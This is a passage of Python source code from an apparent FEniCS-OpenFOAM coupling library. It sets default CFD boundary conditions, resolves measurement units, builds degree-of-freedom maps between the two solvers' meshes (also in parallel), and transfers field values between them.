'zeroGradient'\n\t\t\t\t\t\telif utils.strIsIn('outlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'fixedValue'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0], dtype = 'float')\n\t\t\t\t\t\telif utils.strIsIn('wall', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\n\t\t\t\t\telif foam_vector_name == 'U' or foam_vector_name == 'Urel':\n\t\t\t\t\t\tif utils.strIsIn('inlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'fixedValue'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([1, 0, 0], dtype = 'float')\n\t\t\t\t\t\telif utils.strIsIn('outlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\t\t\t\t\t\telif utils.strIsIn('wall', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'noSlip'\n\n\t\t\t\t\telif foam_vector_name == 'T':\n\t\t\t\t\t\tif utils.strIsIn('inlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\t\t\t\t\t\telif utils.strIsIn('outlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'fixedValue'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0], dtype = 'float')\n\t\t\t\t\t\telif utils.strIsIn('wall', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\n\t\t\t\t\telif foam_vector_name == 'k':\n\t\t\t\t\t\tif utils.strIsIn('inlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'fixedValue'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0.375], dtype = 'float')\n\t\t\t\t\t\telif utils.strIsIn('outlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\t\t\t\t\t\telif utils.strIsIn('wall', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'kqRWallFunction'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0.375], dtype = 'float')\n\n\t\t\t\t\telif foam_vector_name == 'epsilon':\n\t\t\t\t\t\tif utils.strIsIn('inlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'fixedValue'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([14.855], dtype = 'float')\n\t\t\t\t\t\telif utils.strIsIn('outlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\t\t\t\t\t\telif utils.strIsIn('wall', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'epsilonWallFunction'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([14.855], dtype = 'float')\n\n\t\t\t\t\telif foam_vector_name == 'omega':\n\t\t\t\t\t\tif utils.strIsIn('inlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'fixedValue'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([440.15], dtype = 'float')\n\t\t\t\t\t\telif utils.strIsIn('outlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\t\t\t\t\t\telif utils.strIsIn('wall', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'omegaWallFunction'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([440.15], dtype = 'float')\n\n\t\t\t\t\telif foam_vector_name == 'nut':\n\t\t\t\t\t\tif utils.strIsIn('wall', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'nutkWallFunction'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0], dtype = 'float')\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'calculated'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0], dtype = 'float')\n\n\t\t\t\t\telif foam_vector_name == 'nuTilda':\n\t\t\t\t\t\tif utils.strIsIn('inlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'nutkWallFunction'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0], dtype = 'float')\n\t\t\t\t\t\telif utils.strIsIn('outlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\t\t\t\t\t\telif utils.strIsIn('wall', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\n\t\t\t\t\telif foam_vector_name == 'v2':\n\t\t\t\t\t\tif utils.strIsIn('inlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'fixedValue'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0.25], dtype = 'float')\n\t\t\t\t\t\telif utils.strIsIn('outlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\t\t\t\t\t\telif utils.strIsIn('wall', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'v2WallFunction'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0.25], dtype = 'float')\n\n\t\t\t\t\telif foam_vector_name == 'f':\n\t\t\t\t\t\tif utils.strIsIn('inlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\t\t\t\t\t\telif utils.strIsIn('outlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\t\t\t\t\t\telif utils.strIsIn('wall', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'fWallFunction'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0.25], dtype = 'float')\n\n\t\t\t\t\telif foam_vector_name == 'alpha_design':\n\t\t\t\t\t\t\t# The design variable is NOT solved by OpenFOAM, which means that OpenFOAM should not try to impose any boundary condition on it.\n\t\t\t\t\t\t\t# https://www.openfoam.com/documentation/user-guide/standard-boundaryconditions.php\n\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'calculated'\n\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0], dtype = 'float')\n\n\t\t\t\t\telif foam_vector_name.startswith('U_'):\n\t\t\t\t\t\t\t# This variable is NOT solved by OpenFOAM, which means that OpenFOAM should not try to impose any boundary condition on it.\n\t\t\t\t\t\t\t# https://www.openfoam.com/documentation/user-guide/standard-boundaryconditions.php\n\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'calculated'\n\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0, 0, 0], dtype = 'float')\n\n\t\t\t\t\telse:\n\t\t\t\t\t\t# This error is just because I want to guarantee that the variable has a definition here (in this function). Also, the variable needs to be in self.dictionary_measurement_units.\n\t\t\t\t\t\tutils.customPrint(\" ❗ Variable '%s' does not have a predefined sample value. Setting sample value to a zero 'fixedValue'...\" %(foam_vector_name))\n\t\t\t\t\t\t#raise ValueError(\" ❌ ERROR: foam_vector_name == '%s' is not defined!\" %(foam_vector_name))\n\t\t\t\t\n\t\t\t\t\tif len(data_to_add['boundaryField'][boundary_name]) == 0:\n\t\t\t\t\t\tif foam_vector_type == 'volScalarField':\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'fixedValue'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0], dtype = 'float')\n\n\t\t\t\t\t\telif foam_vector_type == 'volVectorField':\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'fixedValue'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0, 0, 0], dtype = 'float')\n\n\t\t# Final check\n\t\tif self.domain_type == '2D':\n\t\t\tassert 'frontAndBackSurfaces' in data_to_add['boundaryField']\n\t\telif self.domain_type == '2D axisymmetric':\n\t\t\tassert 'frontSurface' in data_to_add['boundaryField']\n\t\t\tassert 'backSurface' in data_to_add['boundaryField']\n\n\t\t# Write the data to variable file\n\t\tfoam_writer.writeDataToFile(\n\t\t\tdata_to_add = data_to_add, \n\t\t\tfile_to_use = \"%s/%s/%s\" % (self.problem_folder, time_step_name, foam_vector_name)\n\t\t)\n\n\t####################### getFoamMeasurementUnit #########################\n\n\t@utils_fenics.no_annotations()\n\tdef getFoamMeasurementUnit(self, foam_name):\n\t\t\"\"\"\n\t\tReturns the measurement unit code of a variable in OpenFOAM.\n\t\t\"\"\"\n\n\t\tif foam_name not in self.dictionary_measurement_units:\n\n\t\t\t# Considering \"starred\" names, such as 'U_*'\n\n\t\t\tnames_without_star = [name[:-1] for name in self.dictionary_measurement_units if name.endswith('*')]\n\n\t\t\tfound = False\n\t\t\tfor name_without_star in names_without_star:\n\t\t\t\tif foam_name.startswith(name_without_star):\n\t\t\t\t\tname_with_star = name_without_star + \"*\"\n\t\t\t\t\tunit_name = self.dictionary_measurement_units[name_with_star]\n\t\t\t\t\tfound = True\n\t\t\t\t\tbreak\n\n\t\t\tif found == False:\n\t\t\t\traise ValueError(\"\"\" ❌ ERROR: Variable '%s' does not exist in the dictionary of measurement units (%s)!\nBut: You can add it through the keyword parameter 'additional_measurement_units' in FEniCSFoamSolver([...]).\nFor example,\n\nfenics_foam_solver = FEniCSFoamSolver(\n\t[...],\n\tadditional_measurement_units = {\n\t\t'Unew' : 'velocity', # String name\n\t\t'xyz' : [0, 2, -1, 0, 0, 0, 0], # Specified in the OpenFOAM format\n\t}\n)\n\nCheck \"utils/utils.py > convertToFoamUnitSpecification\" in order to know which \nmeasurement units are already available through string names. If the desired\nmeasurement unit is not defined there, you need to specify a Python list\nin the OpenFOAM format ( https://cfd.direct/openfoam/user-guide/v7-basic-file-format/ ),\nas shown above for 'xyz'.\n\"\"\" %(foam_name, self.dictionary_measurement_units))\n\n\t\telse:\n\t\t\tunit_name = self.dictionary_measurement_units[foam_name]\n\n\t\treturn utils.convertToFoamUnitSpecification(unit_name)\n\n\t#################### prepareFunctionSpacesAndMaps ######################\n\n\t@utils_fenics.no_annotations()\n\tdef prepareFunctionSpacesAndMaps(self):\n\t\t\"\"\"\n\t\tPrepare the FunctionSpaces and DoF maps for FEniCS and the OpenFOAM variables.\n\t\t\"\"\"\n\n\t\tutils.initTimeCount('Creating variable maps')\n\n\t\tutils.customPrint(\"\\n 🌊 Preparing function spaces and maps...\")\n\n\t\t# Create DoF maps -- Assuming triangular mesh (for the 2D axisymmetric domain)\n\t\tfoam_dof_coordinates = self.foam_solver.foam_mesh.cell_centers(compute_2D_cell_centers_for_triangles_if_2D_axisymmetric = True)\n\n\t\t#### Scalar values\n\n\t\t# For scalar values (0 dimensions)\n\n\t\tutils.initTimeCount('Creating variable map for scalar values (0 dimensions)')\n\n\t\tutils.customPrint(\"\\n 🌊 Creating map for scalar values (0 dimensions)...\")\n\n\t\t# DG0 FunctionSpace\n\t\tDG0_function_space = utils_fenics.createDG0FEniCSFunctionSpace(self.mesh, dim = 0)\n\n\t\t# DoF coordinates\n\t\tfenics_dof_coordinates = utils_fenics.getDoFCoordinatesFromFunctionSpace(DG0_function_space)\n\n\t\tif utils_fenics_mpi.runningInParallel():\n\n\t\t\t# Save for later\n\t\t\tfenics_dof_coordinates_orig = fenics_dof_coordinates\n\n\t\t\t# Gather the DoF coordinates\n\t\t\t(fenics_dof_coordinates_gathered, map_local_to_global_DoFs, map_global_to_local_DoFs) = utils_fenics_mpi.getGatheredDoFCoordinates(DG0_function_space, return_local_maps = True)\n\n\t\t\t# Use the gathered DoF coordinates\n\t\t\tfenics_dof_coordinates = fenics_dof_coordinates_gathered\n\n\t\t# Minimum element size\n\t\thmin = self.mesh.hmin()\n\t\tif utils_fenics_mpi.runningInParallel():\n\t\t\thmin = utils_fenics_mpi.evaluateBetweenProcessors(hmin, operation = 'minimum', proc_destination = 'all')\n\n\t\t# Create the DoF maps\n\t\t(self.map_DoFs_foam_to_fenics, self.map_DoFs_fenics_to_foam) = utils_fenics.generateDoFMapsOpenFOAM_FEniCS(fenics_dof_coordinates, foam_dof_coordinates, self.domain_type, mesh_hmin = hmin, tol_factor = self.tol_factor_for_mapping_FEniCS_and_OpenFOAM)\n\n\t\tif utils_fenics_mpi.runningInParallel():\n\n\t\t\t# Maps: Global FEniCS <-> Global FoamVector\n\t\t\tmap_DoFs_global_foam_to_global_fenics = self.map_DoFs_foam_to_fenics\n\t\t\tmap_DoFs_global_fenics_to_global_foam = self.map_DoFs_fenics_to_foam\n\n\t\t\t# Maps: Local FEniCS <-> Global FoamVector\n\t\t\tmap_DoFs_global_foam_to_local_fenics = [map_DoFs_global_fenics_to_global_foam[map_local_to_global_DoFs[i_fenics_local]] for i_fenics_local in range(len(map_local_to_global_DoFs))]\n\t\t\tmap_DoFs_local_fenics_to_global_foam = utils_fenics.invertMapOrder(map_DoFs_global_foam_to_local_fenics)\n\n\t\t\t# Maps: Local FEniCS <-> Local FoamVector\n\t\t\t # The local mapping between FEniCS and FoamVector will \n\t\t\t # be selected as the same (for simplicity).\n\t\t\tmap_DoFs_local_fenics_to_local_foam = np.arange(0,len(map_DoFs_local_fenics_to_global_foam))\n\t\t\tmap_DoFs_local_foam_to_local_fenics = map_DoFs_local_fenics_to_local_foam.copy()\n\n\t\t\t# Save all maps\n\t\t\tself.map_DoFs_global_foam_to_global_fenics = map_DoFs_global_foam_to_global_fenics\n\t\t\tself.map_DoFs_global_fenics_to_global_foam = map_DoFs_global_fenics_to_global_foam\n\t\t\tself.map_DoFs_local_fenics_to_global_foam = map_DoFs_local_fenics_to_global_foam\n\t\t\tself.map_DoFs_global_foam_to_local_fenics = map_DoFs_global_foam_to_local_fenics\n\t\t\tself.map_DoFs_local_fenics_to_local_foam = map_DoFs_local_fenics_to_local_foam\n\t\t\tself.map_DoFs_local_foam_to_local_fenics = map_DoFs_local_foam_to_local_fenics\n\n\t\t\t# Use the local maps\n\t\t\tself.map_DoFs_foam_to_fenics = map_DoFs_local_foam_to_local_fenics\n\t\t\tself.map_DoFs_fenics_to_foam = map_DoFs_local_fenics_to_local_foam\n\n\t\t\t# Set the local DoF mapping for FoamMesh, in order for FoamVector\n\t\t\t # to be able to be updated in parallel.\n\t\t\tself.foam_solver.foam_mesh.set_local_mapping(self.map_DoFs_global_foam_to_local_fenics, self.map_DoFs_local_fenics_to_global_foam)\n\n\t\t\t# Back to the local DoF coordinates\n\t\t\tfenics_dof_coordinates = fenics_dof_coordinates_orig\n\n\t\telse:\n\t\t\tpass\n\n\t\tutils.finishTimeCount('Creating variable map for scalar values (0 dimensions)')\n\n\t\t#### Vector values\n\n\t\tif self.domain_type == '2D': # For FEniCS vector values (2 dimensions)\n\n\t\t\tutils.initTimeCount('Creating variable map for vector values (2 dimensions)')\n\n\t\t\tutils.customPrint(\"\\n 🌊 Creating map for vector values (2 dimensions)...\")\n\n\t\t\t# DG0 VectorFunctionSpace with 2 dimensions\n\t\t\tDG0_function_space_2 = utils_fenics.createDG0FEniCSFunctionSpace(self.mesh, dim = 2)\n\n\t\t\t# Create the DoF maps\n\t\t\t(map_from_component_to_function, map_from_function_to_component) = utils_fenics.getDoFmapFromFEniCSVectorFunctiontoComponent(DG0_function_space_2)\n\n\t\t\t# Save the DoF maps\n\t\t\tself.maps_from_component_to_function = {\n\t\t\t\t'2 components' : {\n\t\t\t\t\t'from component to function' : map_from_component_to_function,\n\t\t\t\t\t'from function to component' : map_from_function_to_component,\n\t\t\t\t},\n\t\t\t}\n\n\t\t\tutils.finishTimeCount('Creating variable map for vector values (2 dimensions)')\n\n\t\telif self.domain_type == '2D axisymmetric' or self.domain_type == '3D': # For FEniCS vector values (3 dimensions)\n\n\t\t\tutils.initTimeCount('Creating variable map for vector values (3 dimensions)')\n\n\t\t\tutils.customPrint(\"\\n 🌊 Creating map for vector values (3 dimensions)...\")\n\n\t\t\t# DG0 VectorFunctionSpace with 3 dimensions\n\t\t\tDG0_function_space_3 = utils_fenics.createDG0FEniCSFunctionSpace(self.mesh, dim = 3)\n\n\t\t\t# Create the DoF maps\n\t\t\t(map_from_component_to_function, map_from_function_to_component) = utils_fenics.getDoFmapFromFEniCSVectorFunctiontoComponent(DG0_function_space_3)\n\n\t\t\t# Save the DoF maps\n\t\t\tself.maps_from_component_to_function = {\n\t\t\t\t'3 components' : {\n\t\t\t\t\t'from component to function' : map_from_component_to_function,\n\t\t\t\t\t'from function to component' : map_from_function_to_component,\n\t\t\t\t},\n\t\t\t}\n\n\t\t\tutils.finishTimeCount('Creating variable map for vector values (3 dimensions)')\n\n\t\telse:\n\t\t\traise ValueError(\" ❌ ERROR: self.domain_type == '%s' is not defined!\" %(self.domain_type))\n\n\t\tutils.finishTimeCount('Creating variable maps')\n\n\t#################### setFEniCSFunctionToFoamVector #####################\n\n\t@utils_fenics.no_annotations()\n\tdef setFEniCSFunctionToFoamVector(self, \n\t\tfenics_function, \n\t\tfoam_variable_name = \"\", \n\t\tconvert_to_usual_units_if_necessary = True, \n\t\tset_calculated_foam_boundaries = False, \n\t\tconvert_from_usual_units_if_necessary = True, \n\t\tensure_maximum_minimum_values_after_projection = False,\n\t\ttol_for_maximum_minimum_values_after_projection = 1.E-20\n\t\t):\n\t\t\"\"\"\n\t\tSets a FEniCS Function to the \"internalField\" of an OpenFOAM variable (* The \"boundaryField\" is not considered in this operation (at least for now), because \"boundaryField\" is closely related to the imposition of the boundary conditions. Check \"fenics_foam_solver.getFoamVectorBoundaryValues\".)\n\t\t* DO NOT use 'Indexed' variables that you obtain by u[num_global_component] or split(u)[num_local_component].\n\t\t The only variables recognized here are u.split()[num_local_component] or u.split(deepcopy = True)[num_local_component],\n\t\t which effectively create copies of the array of values.\n\t\t\"\"\"\n\n\t\tutils.customPrint(\"\\n 🌊 Setting OpenFOAM variable '%s' from FEniCS...\" %(foam_variable_name))\n\n\t\t# Check the type\n\t\tfenics_function_orig = fenics_function\n\n\t\t# Function\n\t\tif type(fenics_function_orig).__name__ == 'Function':\n\t\t\tpass\n\n\t\t# Indexed\n\t\telif type(fenics_function_orig).__name__ == 'Indexed':\n\t\t\traise NotImplementedError(\"\"\" ❌ ERROR: Not implemented for type(fenics_function_orig).__name__ == '%s'! \nDO NOT use 'Indexed' variables that you obtain by u[num_global_component] or split(u)[num_local_component].\nThe only variables recognized here are u.split()[num_local_component] or u.split(deepcopy = True)[num_local_component],\nwhich effectively create copies of the array of values.\"\"\" %(type(fenics_function_orig).__name__))\n\n\t\t# Constant\n\t\telif type(fenics_function_orig).__name__ == 'Constant':\n\t\t\t\t\n\t\t\t# FoamVector\n\t\t\tfoam_vector = self.variable_dictionary[foam_variable_name]['FoamVector']\n\n\t\t\t# Local values from the FoamVector\n\t\t\tfoam_vector_array = foam_vector.get_local()\n\n\t\t\t# Converting Constant to float\n\t\t\tfloat_value = utils_fenics.floatVector(fenics_function_orig)\n\n\t\t\t# If it is a scalar\n\t\t\tif ('int' in type(float_value).__name__) or ('float' in type(float_value).__name__):\n\t\t\t\tfoam_vector_new_array = np.ones_like(foam_vector_array)*float_value\n\n\t\t\telse: # If it is a vector\n\n\t\t\t\tif self.domain_type == '2D': # Ignore third component\n\n\t\t\t\t\tnumber_of_elements = foam_vector_array.shape[0]\t\t\n\t\t\t\t\tfoam_vector_new_array = np.repeat([[float_value[0], float_value[1], 0.0]], number_of_elements, axis = 0)\n\n\t\t\t\telif self.domain_type == '2D axisymmetric' or domain_type == '3D':\n\n\t\t\t\t\tnumber_of_elements = foam_vector_array.shape[0]\t\t\n\t\t\t\t\tfoam_vector_new_array = np.repeat([float_value], number_of_elements, axis = 0)\n\n\t\t\t\telse:\n\t\t\t\t\traise ValueError(\" ❌ ERROR: self.domain_type == %s is not defined here!\" %(self.domain_type))\n\n\t\t\t# Set the local changes\n\t\t\tfoam_vector.set_local(foam_vector_new_array)\n\n\t\t\t# Set to apply the changes to file\n\t\t\tfoam_vector.set_to_apply_changes('insert')\n\n\t\t\treturn\n\n\t\telse:\n\t\t\traise NotImplementedError(\" ❌ ERROR: Not implemented for type(fenics_function_orig).__name__ == '%s'! Please, consider using a Function or a Constant!\" %(type(fenics_function_orig).__name__))\n\n\t\t# Check if the variable name exists in OpenFOAM\n\t\tif foam_variable_name not in self.variable_dictionary:\n\t\t\traise ValueError(\" ❌ ERROR: foam_variable_name == '%s' not available in self.variable_dictionary = %s!\" %(foam_variable_name, self.variable_dictionary))\n\n\t\t# Create the necessary DG0 function for the OpenFOAM variable (if not already created)\n\t\tif type(self.variable_dictionary[foam_variable_name]['FEniCS Function']).__name__ == 'NoneType':\n\n\t\t\t# Get the number of components of the FEniCS function\n\t\t\tdim_fenics_function = fenics_function.function_space().num_sub_spaces()\n\n\t\t\t# Create the corresponding DG0 Function\n\t\t\tif dim_fenics_function > 1:\n\t\t\t\tDG0_function = utils_fenics.createDG0FEniCSFunction(self.mesh, dim = dim_fenics_function)\n\t\t\telse:\n\t\t\t\tDG0_function = utils_fenics.createDG0FEniCSFunction(self.mesh, dim = 0)\n\n\t\t\t# Save for later use\n\t\t\tself.variable_dictionary[foam_variable_name]['FEniCS Function'] = DG0_function\n\n\t\t# Get the DG0 Function\n\t\tDG0_function = self.variable_dictionary[foam_variable_name]['FEniCS Function']\n\n\t\t# Update the DG0 function\n\t\tDG0_function.assign(utils_fenics.configuredProject(fenics_function, DG0_function.function_space(), self.projection_setup, skip_projection_if_same_FunctionSpace = True))\n\t\t#DG0_function.assign(project(fenics_function, DG0_function.function_space()))\n\t\t#DG0_function.interpolate(fenics_function)\n\t\t#DG0_function.assign(fenics_function)\n\n\t\t# Keep maximum/minimum values from before the projection\n\t\tif ensure_maximum_minimum_values_after_projection == True:\n\n\t\t\t# Maximum and minimum values BEFORE projection\n\t\t\tfenics_function_max = fenics_function.vector().max()\n\t\t\tfenics_function_min = fenics_function.vector().min()\n\n\t\t\tif utils_fenics_mpi.runningInParallel():\n\t\t\t\tfenics_function_max = utils_fenics_mpi.evaluateBetweenProcessors(fenics_function_max, operation = 'maximum', proc_destination = 'all')\n\t\t\t\tfenics_function_min = utils_fenics_mpi.evaluateBetweenProcessors(fenics_function_min, operation = 'minimum', proc_destination = 'all')\n\n\t\t\t# Get all values AFTER projection\n\t\t\tDG0_function_array = DG0_function.vector().get_local()\n\n\t\t\t# Set the maximum and minimum values\n\t\t\tDG0_function_array[DG0_function_array < fenics_function_min + tol_for_maximum_minimum_values_after_projection] = fenics_function_min\n\t\t\tDG0_function_array[DG0_function_array > fenics_function_max - tol_for_maximum_minimum_values_after_projection] = fenics_function_max\n\n\t\t\t# Set the new values\n\t\t\tDG0_function.vector().set_local(DG0_function_array)\n\t\t\tDG0_function.vector().apply('insert')\n\n\t\t# Post-processing\n\t\tself.postProcessFEniCSVariableToFoam(foam_variable_name, DG0_function, convert_to_usual_units_if_necessary = convert_to_usual_units_if_necessary)\n\n\t\t# FoamVector\n\t\tfoam_vector = self.variable_dictionary[foam_variable_name]['FoamVector']\n\n\t\t# Transfer the values of the FEniCS variable to the FoamVector\n\t\tutils_fenics.FEniCSFunctionToFoamVector(DG0_function, foam_vector, self.map_DoFs_foam_to_fenics, self.maps_from_component_to_function, self.domain_type)\n\n\t\t# I think the part below should not be needed when you have already set the boundary\n\t\t # conditions as 'calculated' or something like that, because the 'value'\n\t\t # is an 'initial guess' for OpenFOAM to compute the value. \n\t\tif set_calculated_foam_boundaries == True:\n\t\t\tself.setAllEqualFoamBoundaryConditions(foam_variable_name, 'calculated', DG0_function, check_consistency_of_imposed_values = False, convert_from_usual_units_if_necessary = convert_from_usual_units_if_necessary)\n\n\t#################### setFoamVectorToFEniCSFunction #####################\n\n\t@utils_fenics.no_annotations()\n\tdef setFoamVectorToFEniCSFunction(self, \n\t\tfenics_function, foam_variable_name = \"\", \n\t\tconvert_to_usual_units_if_necessary = True, \n\t\timpose_boundaryField = False, \n\t\tfoam_vector = None,\n\n\t\t# Filter for smoother transitions after the projection\n\t\tapply_filter_for_smoother_transitions = True,#False,\n\t\tfilter_parameters = {},\n\t\t):\n\t\t\"\"\"\n\t\tSets a FEniCS Function from the \"internalField\" of an OpenFOAM variable (* The \"boundaryField\" is not considered in this operation by default, because \"boundaryField\" is closely related to the imposition of the boundary conditions. Check \"fenics_foam_solver.getFoamVectorBoundaryValues\".).\n\t\t* DO NOT use 'Indexed' variables that you obtain by u[num_global_component] or split(u)[num_local_component].\n\t\t The only variables recognized here are u.split()[num_local_component] or u.split(deepcopy = True)[num_local_component],\n\t\t which effectively create copies of the array of values.\n\t\t\"\"\"\n\n\t\tutils.customPrint(\"\\n 🌊 Setting OpenFOAM variable '%s' to FEniCS...\" %(foam_variable_name))\n\n\t\t# Check the type\n\t\tfenics_function_orig = fenics_function\n\n\t\t# Function\n\t\tif type(fenics_function_orig).__name__ == 'Function':\n\t\t\tpass\n\n\t\t# Indexed\n\t\telif type(fenics_function_orig).__name__ == 'Indexed':\n\n\t\t\traise NotImplementedError(\"\"\" ❌ ERROR: Not implemented for type(fenics_function_orig).__name__ == '%s'! \nDO NOT use 'Indexed' variables that you obtain by u[num_global_component] or split(u)[num_local_component].\nThe only variables recognized here are u.split()[num_local_component] or u.split(deepcopy = True)[num_local_component],\nwhich effectively create copies of the array of values.\"\"\" %(type(fenics_function_orig).__name__))\n\n\t\telse:\n\t\t\traise NotImplementedError(\" ❌ ERROR: Not implemented for type(fenics_function_orig).__name__ == '%s'! Please, consider using a Function!\" %(type(fenics_function_orig).__name__))\n\n\t\t# Check if the variable name exists in OpenFOAM\n\t\tif type(foam_vector).__name__ != 'NoneType':\n\n\t\t\tusing_separated_foam_vector = True\n\n\t\t\t# Get the number of components of the FEniCS function\n\t\t\tdim_fenics_function = fenics_function.function_space().num_sub_spaces()\n\n\t\t\t# Create the corresponding DG0 Function\n\t\t\tif dim_fenics_function > 1:\n\t\t\t\tDG0_function = utils_fenics.createDG0FEniCSFunction(self.mesh, dim = dim_fenics_function)\n\t\t\telse:\n\t\t\t\tDG0_function = utils_fenics.createDG0FEniCSFunction(self.mesh, dim = 0)\n\n\t\t\t# Save for later use\n\t\t\tself.variable_dictionary[foam_variable_name]['FEniCS Function'] = DG0_function\n\n\t\telif foam_variable_name in self.variable_dictionary:\n\n\t\t\tusing_separated_foam_vector = False\n\n\t\t\t# FoamVector\n\t\t\tfoam_vector = self.variable_dictionary[foam_variable_name]['FoamVector']\n\n\t\t\t# Create the necessary DG0 function for the OpenFOAM variable\n\t\t\tif type(self.variable_dictionary[foam_variable_name]['FEniCS Function']).__name__ == 'NoneType':\n\n\t\t\t\t# Get the number of components of the FEniCS function\n\t\t\t\tdim_fenics_function = fenics_function.function_space().num_sub_spaces()\n\n\t\t\t\t# Create the corresponding DG0 Function\n\t\t\t\tif dim_fenics_function > 1:\n\t\t\t\t\tDG0_function = utils_fenics.createDG0FEniCSFunction(self.mesh, dim = dim_fenics_function)\n\t\t\t\telse:\n\t\t\t\t\tDG0_function = utils_fenics.createDG0FEniCSFunction(self.mesh, dim = 0)\n\n\t\t\t\t# Save for later use\n\t\t\t\tself.variable_dictionary[foam_variable_name]['FEniCS Function'] = DG0_function\n\n\t\t\t# DG0 Function\n\t\t\tDG0_function = self.variable_dictionary[foam_variable_name]['FEniCS Function']\n\n\t\telse:\n\t\t\traise ValueError(\" ❌ ERROR: foam_variable_name == '%s' not available in self.variable_dictionary = %s!\" %(foam_variable_name, self.variable_dictionary))\n\n\t\t# Transfer the values of the FoamVector to the FEniCS variable\n\t\tutils_fenics.FoamVectorToFEniCSFunction(foam_vector, DG0_function, self.map_DoFs_fenics_to_foam, self.maps_from_component_to_function, self.domain_type)\n\n\t\t# Update FEniCS Function from DG0\n\t\tfenics_function.assign(utils_fenics.configuredProject(DG0_function, fenics_function.function_space(), self.projection_setup, skip_projection_if_same_FunctionSpace = True))\n\t\t#fenics_function.assign(project(DG0_function, fenics_function.function_space()))\n\t\t#fenics_function.interpolate(DG0_function)\n\t\t#fenics_function.assign(DG0_function)\n\n\t\t# Impose 'boundaryField' if wanted\n\t\tif impose_boundaryField == True:\n\t\t\tif using_separated_foam_vector == 